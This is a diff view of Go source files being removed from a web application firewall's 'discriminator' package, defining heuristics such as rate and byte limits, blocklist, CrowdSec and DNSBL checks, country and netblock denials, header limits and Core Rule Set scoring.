unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
|
||||
}
|
||||
|
||||
fetched := percentage{percent: whole}
|
||||
if percent, listed := rq.h.lists.ASNLimitPercent(asn); listed {
|
||||
fetched = percentage{percent, "SWW_ASN_LIMIT_PERCENT_URL"}
|
||||
}
|
||||
|
||||
blocklisted := percentage{percent: whole}
|
||||
if rq.blocklisted && cfg.BlocklistAction == "limit" {
|
||||
blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
|
||||
}
|
||||
|
||||
reputationListed := percentage{percent: whole}
|
||||
if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
|
||||
reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
|
||||
}
|
||||
|
||||
const tagSetting = "SWW_TAG_LIMIT_PERCENT"
|
||||
|
||||
asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
|
||||
countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
|
||||
|
||||
otherTags := percentage{percent: whole}
|
||||
|
||||
for _, tag := range rq.line.Tags {
|
||||
if tag != asnTag(asn) && tag != countryTag(country) {
|
||||
otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
|
||||
}
|
||||
}
|
||||
|
||||
asnBytes, countryBytes := asnRequests, countryRequests
|
||||
if _, listed := cfg.ASNBytesPercent[asn]; listed {
|
||||
asnBytes = given(cfg.ASNBytesPercent, asn, "SWW_ASN_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
if _, listed := cfg.CountryBytesPercent[country]; listed {
|
||||
countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
|
||||
}
|
||||
|
||||
return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
|
||||
reputationListed),
|
||||
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
|
||||
}
|
||||
|
||||
// given returns the percentage percents, the setting named setting, gives
|
||||
// code, an AS number, a country or a tag, or whole when it does not list code.
|
||||
func given(percents map[string]int64, code, setting string) percentage {
|
||||
percent, listed := percents[code]
|
||||
if !listed {
|
||||
return percentage{percent: whole}
|
||||
}
|
||||
|
||||
return percentage{percent, setting}
|
||||
}
|
||||
|
||||
// lowest returns the lowest of percentages below whole, the first of them
|
||||
// when several are lowest, or whole when none is below it.
|
||||
func lowest(percentages ...percentage) percentage {
|
||||
low := percentage{percent: whole}
|
||||
|
||||
for _, p := range percentages {
|
||||
if p.percent < low.percent {
|
||||
low = p
|
||||
}
|
||||
}
|
||||
|
||||
return low
|
||||
}
|
||||
|
||||
// logged returns p as the log line and the notes of a ban give it: its
|
||||
// percent and setting, or nil and "" for whole, which they leave out.
|
||||
func (p percentage) logged() (*int64, string) {
|
||||
if p.percent == whole {
|
||||
return nil, ""
|
||||
}
|
||||
|
||||
return &p.percent, p.setting
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// blocklists notes the blocklists that list the client, as noteListed does,
|
||||
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
|
||||
// lowers the client's limits instead (see limitPercentages), and being log, it
|
||||
// does nothing more. Its figure is the blocklists that list the client.
|
||||
type blocklists struct{}
|
||||
|
||||
func (blocklists) name() string { return "blocklists" }
|
||||
|
||||
func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
listedBy := rq.h.lists.ListedBy(rq.client)
|
||||
rq.blocklisted = len(listedBy) > 0
|
||||
rq.noteListed(listedBy, "listed by a blocklist")
|
||||
|
||||
if !rq.refusedByBlocklists(listedBy) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{"lists": listedBy},
|
||||
}
|
||||
}
|
||||
|
||||
// refusedByBlocklists reports whether the heuristic blocklists refuses a
|
||||
// client, given listedBy, the blocklists that list it: it does when one lists
|
||||
// it and SWW_BLOCKLIST_ACTION is deny.
|
||||
func (rq *request) refusedByBlocklists(listedBy []string) bool {
|
||||
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
|
||||
// and biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// byteLimits counts the request's bytes, as countedBytes gives them, for the
|
||||
// byte limits, once its report has come, and notes the client's byte totals for
|
||||
// the log line; its requests stay there as the rate limits counted them. Only
|
||||
// an allowed request has them counted, and only one the rate limits counted; in
|
||||
// observe mode, not one that enforce mode would have refused. Bytes that take
|
||||
// the client over a byte limit, as its limit percentage for the byte limits
|
||||
// lowers it, break it, which bans the client; the response was passed on whole.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type byteLimits struct{}
|
||||
|
||||
func (byteLimits) name() string { return "byte_limits" }
|
||||
|
||||
func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
if !rq.counted || rq.line.WouldAction != "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now,
|
||||
rq.countedBytes(), rq.bytesLimitPercent.percent)
|
||||
rq.line.Counts.MinuteBytes = counts.MinuteBytes
|
||||
rq.line.Counts.HourBytes = counts.HourBytes
|
||||
rq.line.Counts.DayBytes = counts.DayBytes
|
||||
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, rq.out.status)
|
||||
|
||||
return &verdict{figures: limitFigures(hit)}
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
|
||||
// and SWW_WAF_ANOMALY_THRESHOLD.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// coreRuleSet inspects the request with the Core Rule Set, unless
|
||||
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
|
||||
// pathExempt decides, and notes the rules it matched and its score in the
|
||||
// log line, and the rules in the metrics. A score at or over
|
||||
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
|
||||
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
|
||||
// which is an offence its client's history counts. Its figures are the score
|
||||
// and the threshold.
|
||||
type coreRuleSet struct{}
|
||||
|
||||
func (coreRuleSet) name() string { return "core_rule_set" }
|
||||
|
||||
func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in, cfg.WAFExemptPaths) {
|
||||
return nil
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
|
||||
// A question's body has been read into memory, so that reading it here
|
||||
// cannot fail.
|
||||
result, read, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.in.Body)
|
||||
rq.requestBytes = int64(len(read))
|
||||
|
||||
rq.line.DurationCoreRuleSetMS = new(requestlog.Milliseconds(time.Since(start)))
|
||||
rq.line.CoreRuleSetRuleIDs = result.RuleIDs
|
||||
rq.line.CoreRuleSetScore = &result.Score
|
||||
|
||||
for _, id := range result.RuleIDs {
|
||||
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
|
||||
}
|
||||
|
||||
threshold := cfg.WAFAnomalyThreshold
|
||||
if threshold == 0 || result.Score < threshold {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.ExploitSignatureTag)
|
||||
rq.alertCoreRuleSetMatch(result)
|
||||
|
||||
if cfg.WAFMode == config.WAFModeDetect {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.blockedByCoreRuleSet = true
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionBlockedByCoreRuleSet,
|
||||
figures: map[string]any{figureScore: result.Score, "threshold": threshold},
|
||||
}
|
||||
}
|
||||
|
||||
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
|
||||
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
|
||||
// detail gives the rule ids, the score, the method and the path with the
|
||||
// query, and, for a request that is not refused for it, the mode: detect,
|
||||
// or observe in observe mode.
|
||||
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
|
||||
detail := map[string]any{
|
||||
"rule_ids": result.RuleIDs,
|
||||
"score": result.Score,
|
||||
"method": rq.in.Method,
|
||||
"path": rq.in.URL.RequestURI(),
|
||||
}
|
||||
|
||||
switch {
|
||||
case rq.h.config.WAFMode == config.WAFModeDetect:
|
||||
detail["mode"] = config.WAFModeDetect
|
||||
case rq.h.config.Observe:
|
||||
detail["mode"] = "observe"
|
||||
}
|
||||
|
||||
rq.h.alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventCoreRuleSetMatch,
|
||||
Host: rq.site,
|
||||
Client: rq.client,
|
||||
Netblock: rq.h.clientGroup(rq.client),
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
|
||||
// does not hold the client's country as it was looked up. A client without a
|
||||
// country, or whose country cannot be found, is refused. Its figures are the
|
||||
// country and the setting that refused it.
|
||||
type countries struct{}
|
||||
|
||||
func (countries) name() string { return "countries" }
|
||||
|
||||
func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
allowed := rq.h.config.ExclusivelyAllowedCountries
|
||||
country := rq.line.Country
|
||||
|
||||
if len(allowed) == 0 || slices.Contains(allowed, country) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionCountryDenied,
|
||||
figures: map[string]any{
|
||||
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -1,50 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
|
||||
// through the reputation lists.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// crowdSec refuses a request when a decision of the CrowdSec decision list on
|
||||
// the client is in force at now. It then adds the tag crowdsec, notes the
|
||||
// list, as noteHit does, and bans the client until that decision ends. Its
|
||||
// figures are the decision's scenario and when it ends.
|
||||
type crowdSec struct{}
|
||||
|
||||
func (crowdSec) name() string { return "crowdsec" }
|
||||
|
||||
func (crowdSec) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
decision, listed := rq.crowdSecDecisionInForce(now)
|
||||
if !listed {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.addTag(config.CrowdSecTag)
|
||||
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
|
||||
"listed by the CrowdSec decision list")
|
||||
|
||||
return &verdict{
|
||||
action: rq.banForCrowdSec(now, decision),
|
||||
figures: map[string]any{
|
||||
"scenario": decision.Scenario,
|
||||
"expires": requestlog.FormatTime(decision.Expires),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
|
||||
// the client that is in force at now, and reports whether there is one, which
|
||||
// the heuristic crowdsec refuses the request for.
|
||||
func (rq *request) crowdSecDecisionInForce(
|
||||
now time.Time,
|
||||
) (reputation.Decision, bool) {
|
||||
return rq.h.lists.CrowdSecDecision(rq.client, now)
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic deny_nets. It reads SWW_DENY_NETS.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
|
||||
// the setting the client is in.
|
||||
type denyNets struct{}
|
||||
|
||||
func (denyNets) name() string { return "deny_nets" }
|
||||
|
||||
func (denyNets) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
for _, netblock := range rq.h.config.DenyNets {
|
||||
if netblock.Contains(rq.client) {
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{figureNetblock: netblock.String()},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,43 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
|
||||
// verdicts through the DNSBL checker.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
|
||||
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
|
||||
// the request when SWW_REPUTATION_ACTION is deny. Being
|
||||
// limit, it lowers the client's limits instead (see limitPercentages), and
|
||||
// being log, it does nothing more. A zone without a verdict on the client is
|
||||
// asked about it in the background, and the request does not wait for the
|
||||
// answer. Its figure is the zones that list the client, their keys masked.
|
||||
type dnsbl struct{}
|
||||
|
||||
func (dnsbl) name() string { return "dnsbl" }
|
||||
|
||||
func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
|
||||
listedBy := rq.h.dnsbl.ListedBy(ctx, rq.client)
|
||||
rq.dnsblListed = len(listedBy) > 0
|
||||
rq.noteListed(listedBy, "listed by a DNSBL zone")
|
||||
|
||||
for _, zone := range listedBy {
|
||||
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
|
||||
}
|
||||
|
||||
if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{"zones": listedBy},
|
||||
}
|
||||
}
|
||||
@@ -1,71 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic header_limits. It reads no setting: its limits are fixed.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// The header limits: the most cookies and header fields a request may have
|
||||
// when the checks reach the Core Rule Set. Real clients never reach them.
|
||||
const (
|
||||
maxCookies = 50
|
||||
maxHeaderFields = 100
|
||||
)
|
||||
|
||||
// headerLimits refuses a request over the header limits, with 431. Its figures
|
||||
// are the request's header fields and cookies, and the limit of each.
|
||||
type headerLimits struct{}
|
||||
|
||||
func (headerLimits) name() string { return "header_limits" }
|
||||
|
||||
func (headerLimits) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
fields, cookies := rq.headerCounts()
|
||||
if !overHeaderLimits(fields, cookies) {
|
||||
return nil
|
||||
}
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionRequestHeaderTooLarge,
|
||||
figures: map[string]any{
|
||||
"fields": fields, "fields_limit": maxHeaderFields,
|
||||
"cookies": cookies, "cookies_limit": maxCookies,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// overHeaderLimits reports whether a request with these counts of header fields
|
||||
// and cookies, as headerCounts counts them, is over the header limits: it has
|
||||
// more than maxHeaderFields fields or more than maxCookies cookies.
|
||||
func overHeaderLimits(fields, cookies int) bool {
|
||||
return fields > maxHeaderFields || cookies > maxCookies
|
||||
}
|
||||
|
||||
// headerCounts returns the request's header fields, each value of a header sent
|
||||
// twice being one, and its cookies, each part of a Cookie header between
|
||||
// semicolons being one unless it is empty or only spaces and tabs. The Core
|
||||
// Rule Set runs each of its rules on each cookie, so that thousands of small
|
||||
// cookies keep it busy for over a second. It trims only spaces and control
|
||||
// characters, of which a header value can hold only tabs, so a part of Unicode
|
||||
// spaces is a cookie to it.
|
||||
func (rq *request) headerCounts() (int, int) {
|
||||
fields, cookies := 0, 0
|
||||
|
||||
for _, values := range rq.in.Header {
|
||||
fields += len(values)
|
||||
}
|
||||
|
||||
for _, value := range rq.in.Header.Values("Cookie") {
|
||||
for part := range strings.SplitSeq(value, ";") {
|
||||
if strings.Trim(part, " \t") != "" {
|
||||
cookies++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return fields, cookies
|
||||
}
|
||||
@@ -1,140 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// To add a heuristic, write one file with a type that implements heuristic,
|
||||
// and add one line for it to one of the lists below. Its settings go in
|
||||
// config.Config, and the comment at the top of its file names them.
|
||||
|
||||
// heuristic is one of the checks that decide what discriminator does with a
|
||||
// request.
|
||||
type heuristic interface {
|
||||
// name is the heuristic's name, which the log line gives.
|
||||
name() string
|
||||
// check looks at the request at now, and returns nil to let it through.
|
||||
// ctx is the request's own context.
|
||||
check(ctx context.Context, rq *request, now time.Time) *verdict
|
||||
}
|
||||
|
||||
// verdict is a heuristic refusing a request, or banning its client: the action
|
||||
// the log line names, one of requestlog's Action constants, and the figures the
|
||||
// heuristic acted on, by name, such as the count and the limit.
|
||||
type verdict struct {
|
||||
action string
|
||||
figures map[string]any
|
||||
}
|
||||
|
||||
// The names of the figures that more than one heuristic gives.
|
||||
const (
|
||||
figureWindow = "window"
|
||||
figureCount = "count"
|
||||
figureLimit = "limit"
|
||||
figureScore = "score"
|
||||
figureNetblock = "netblock"
|
||||
)
|
||||
|
||||
// The lists of heuristics, each in the order its heuristics run. A client in
|
||||
// SWW_ALLOW_NETS skips them all.
|
||||
|
||||
// beforeLookup are the heuristics that run before the client's AS number and
|
||||
// country are looked up, so that a client they refuse is not looked up.
|
||||
func beforeLookup() []heuristic {
|
||||
return []heuristic{
|
||||
tagLists{},
|
||||
routeWatchTags{},
|
||||
denyNets{},
|
||||
activeBan{},
|
||||
}
|
||||
}
|
||||
|
||||
// afterLookup are the heuristics that run once the lookup has been made.
|
||||
// tag_deny runs twice: before the rate limits, on the tags known by then, and
|
||||
// last, on the tag rule_files and core_rule_set can add.
|
||||
func afterLookup() []heuristic {
|
||||
return []heuristic{
|
||||
countries{},
|
||||
blocklists{},
|
||||
crowdSec{},
|
||||
dnsbl{},
|
||||
abuseIPDB{},
|
||||
tagDeny{},
|
||||
rateLimits{},
|
||||
trapPaths{},
|
||||
ruleFiles{},
|
||||
headerLimits{},
|
||||
coreRuleSet{},
|
||||
tagDeny{},
|
||||
}
|
||||
}
|
||||
|
||||
// afterAnswer are the heuristics that run on a request once discriminator has
|
||||
// answered it, before its decision line is written. They ban the client, and do
|
||||
// not change what the request got: their verdict's action is not used.
|
||||
func afterAnswer() []heuristic {
|
||||
return []heuristic{
|
||||
refusalLimit{},
|
||||
}
|
||||
}
|
||||
|
||||
// onReport are the heuristics that run on an allowed request when rproxy's
|
||||
// report of it comes, before its report line is written. Like afterAnswer, they
|
||||
// only ban.
|
||||
func onReport() []heuristic {
|
||||
return []heuristic{
|
||||
byteLimits{},
|
||||
}
|
||||
}
|
||||
|
||||
// runAfterAnswer runs the heuristics of afterAnswer on the request, at the time
|
||||
// it is called.
|
||||
func (rq *request) runAfterAnswer(ctx context.Context) {
|
||||
rq.runBanningHeuristics(ctx, afterAnswer())
|
||||
}
|
||||
|
||||
// runHeuristics runs list, beforeLookup or afterLookup, on the request at now,
|
||||
// and returns the first verdict, or nil when none gives one. The log line's
|
||||
// heuristic and heuristic_figures name the heuristic that gave it, and give its
|
||||
// figures. ctx is the request's own context.
|
||||
func (rq *request) runHeuristics(
|
||||
ctx context.Context, list []heuristic, now time.Time,
|
||||
) *verdict {
|
||||
name, v := rq.firstVerdict(ctx, list, now)
|
||||
if v != nil {
|
||||
rq.line.Heuristic = name
|
||||
rq.line.HeuristicFigures = v.figures
|
||||
}
|
||||
|
||||
return v
|
||||
}
|
||||
|
||||
// runBanningHeuristics runs list, afterAnswer or onReport, on the request at
|
||||
// the time it is called. The log line's after_answer_heuristic and
|
||||
// after_answer_heuristic_figures name the heuristic that gave a verdict, and
|
||||
// give its figures, so that heuristic and heuristic_figures still name the one
|
||||
// that refused the request. ctx is the request's own context.
|
||||
func (rq *request) runBanningHeuristics(ctx context.Context, list []heuristic) {
|
||||
name, v := rq.firstVerdict(ctx, list, rq.h.now())
|
||||
if v != nil {
|
||||
rq.line.AfterAnswerHeuristic = name
|
||||
rq.line.AfterAnswerHeuristicFigures = v.figures
|
||||
}
|
||||
}
|
||||
|
||||
// firstVerdict runs list on the request at now, in order, until a heuristic
|
||||
// gives a verdict, and returns that heuristic's name and its verdict, or "" and
|
||||
// nil when none gives one. ctx is the request's own context.
|
||||
func (rq *request) firstVerdict(
|
||||
ctx context.Context, list []heuristic, now time.Time,
|
||||
) (string, *verdict) {
|
||||
for _, each := range list {
|
||||
v := each.check(ctx, rq, now)
|
||||
if v != nil {
|
||||
return each.name(), v
|
||||
}
|
||||
}
|
||||
|
||||
return "", nil
|
||||
}
|
||||
@@ -1,69 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
||||
// biased thresholds through the limiter and limitPercentages.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// rateLimits counts the request for the rate limits, unless
|
||||
// countedByRateLimits exempts it, by the client's limit percentages, which it
|
||||
// notes for the log line with the client's counts. A request that takes the
|
||||
// client over a rate limit, as its limit percentage lowers it, breaks it: it is
|
||||
// refused, and bans the client. A request exempt from the rate limits is exempt
|
||||
// from the byte limits too. Its figures are the window, the count and the
|
||||
// limit.
|
||||
type rateLimits struct{}
|
||||
|
||||
func (rateLimits) name() string { return "rate_limits" }
|
||||
|
||||
func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
rq.counted = rq.countedByRateLimits()
|
||||
if !rq.counted {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.rateLimitPercent, rq.bytesLimitPercent = rq.limitPercentages()
|
||||
rq.line.RateLimitPercent, rq.line.RateLimitPercentSetting =
|
||||
rq.rateLimitPercent.logged()
|
||||
rq.line.BytesLimitPercent, rq.line.BytesLimitPercentSetting =
|
||||
rq.bytesLimitPercent.logged()
|
||||
|
||||
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
|
||||
rq.rateLimitPercent.percent)
|
||||
rq.line.Counts = counts
|
||||
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, rq.h.config.BanResponse)
|
||||
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientIsRateLimited, figures: limitFigures(hit),
|
||||
}
|
||||
}
|
||||
|
||||
// overAWholeRateLimit reports whether the heuristic rate_limits will refuse the
|
||||
// request at now, whatever its client's limit percentages: the rate limits
|
||||
// count it, and one more request from its client takes it over a whole rate
|
||||
// limit. It counts nothing.
|
||||
func (rq *request) overAWholeRateLimit(now time.Time) bool {
|
||||
return rq.countedByRateLimits() &&
|
||||
rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now)
|
||||
}
|
||||
|
||||
// countedByRateLimits reports whether the rate limits count the request: its
|
||||
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
|
||||
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
|
||||
func (rq *request) countedByRateLimits() bool {
|
||||
cfg := rq.h.config
|
||||
|
||||
return !isInside(rq.client, cfg.RateLimitExemptNets) &&
|
||||
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
||||
// SWW_BAN_RESPONSE.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// refusalLimit counts the request once it has been answered, if discriminator
|
||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
|
||||
// heuristics skip, is not counted, and nothing is while the threshold is off.
|
||||
// Its figures are the window, the count and the limit.
|
||||
type refusalLimit struct{}
|
||||
|
||||
func (refusalLimit) name() string { return "refusal_limit" }
|
||||
|
||||
func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
cfg := rq.h.config
|
||||
if cfg.ErrorBurstThreshold == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
if !rq.attack && !rq.blockedByBlockRule && !rq.blockedByCoreRuleSet {
|
||||
return nil
|
||||
}
|
||||
|
||||
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
|
||||
cfg.ErrorBurstThreshold)
|
||||
if !over {
|
||||
return nil
|
||||
}
|
||||
|
||||
// What the client was sent, or in observe mode would have been.
|
||||
status := rq.out.status
|
||||
|
||||
switch rq.line.WouldAction {
|
||||
case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
|
||||
status = http.StatusForbidden
|
||||
case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
|
||||
status = cfg.BanResponse
|
||||
}
|
||||
|
||||
rq.banForLimit(now, hit, status)
|
||||
|
||||
return &verdict{figures: limitFigures(hit)}
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
|
||||
// abuseipdb.
|
||||
|
||||
import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
)
|
||||
|
||||
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
|
||||
// refuses the requests of a client a source lists.
|
||||
const deny = "deny"
|
||||
|
||||
// noteListed notes each of sources, the URLs of the blocklists or the
|
||||
// DNSBL zones, their keys masked, that list the client, as noteHit does,
|
||||
// with reason.
|
||||
func (rq *request) noteListed(sources []string, reason string) {
|
||||
for _, source := range sources {
|
||||
rq.noteHit(bans.ReputationHit{Source: source}, reason)
|
||||
}
|
||||
}
|
||||
|
||||
// noteHit adds hit's source, which lists the client, to the log line's
|
||||
// reputation, and hit to the notes of a ban the request makes, counts the
|
||||
// source in the metrics, and raises a reputation_hit alert with reason,
|
||||
// whose detail gives hit's source and score.
|
||||
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
|
||||
detail := map[string]any{"source": hit.Source}
|
||||
if hit.Score != nil {
|
||||
detail["score"] = *hit.Score
|
||||
}
|
||||
|
||||
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
|
||||
rq.reputation = append(rq.reputation, hit)
|
||||
rq.h.metrics.ReputationHit(hit.Source)
|
||||
rq.h.alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventReputationHit,
|
||||
Host: rq.site,
|
||||
Client: rq.client,
|
||||
Netblock: rq.h.clientGroup(rq.client),
|
||||
ASN: rq.line.ASN,
|
||||
ASName: rq.line.ASName,
|
||||
Country: rq.line.Country,
|
||||
Reason: reason,
|
||||
Detail: detail,
|
||||
})
|
||||
}
|
||||
@@ -1,42 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
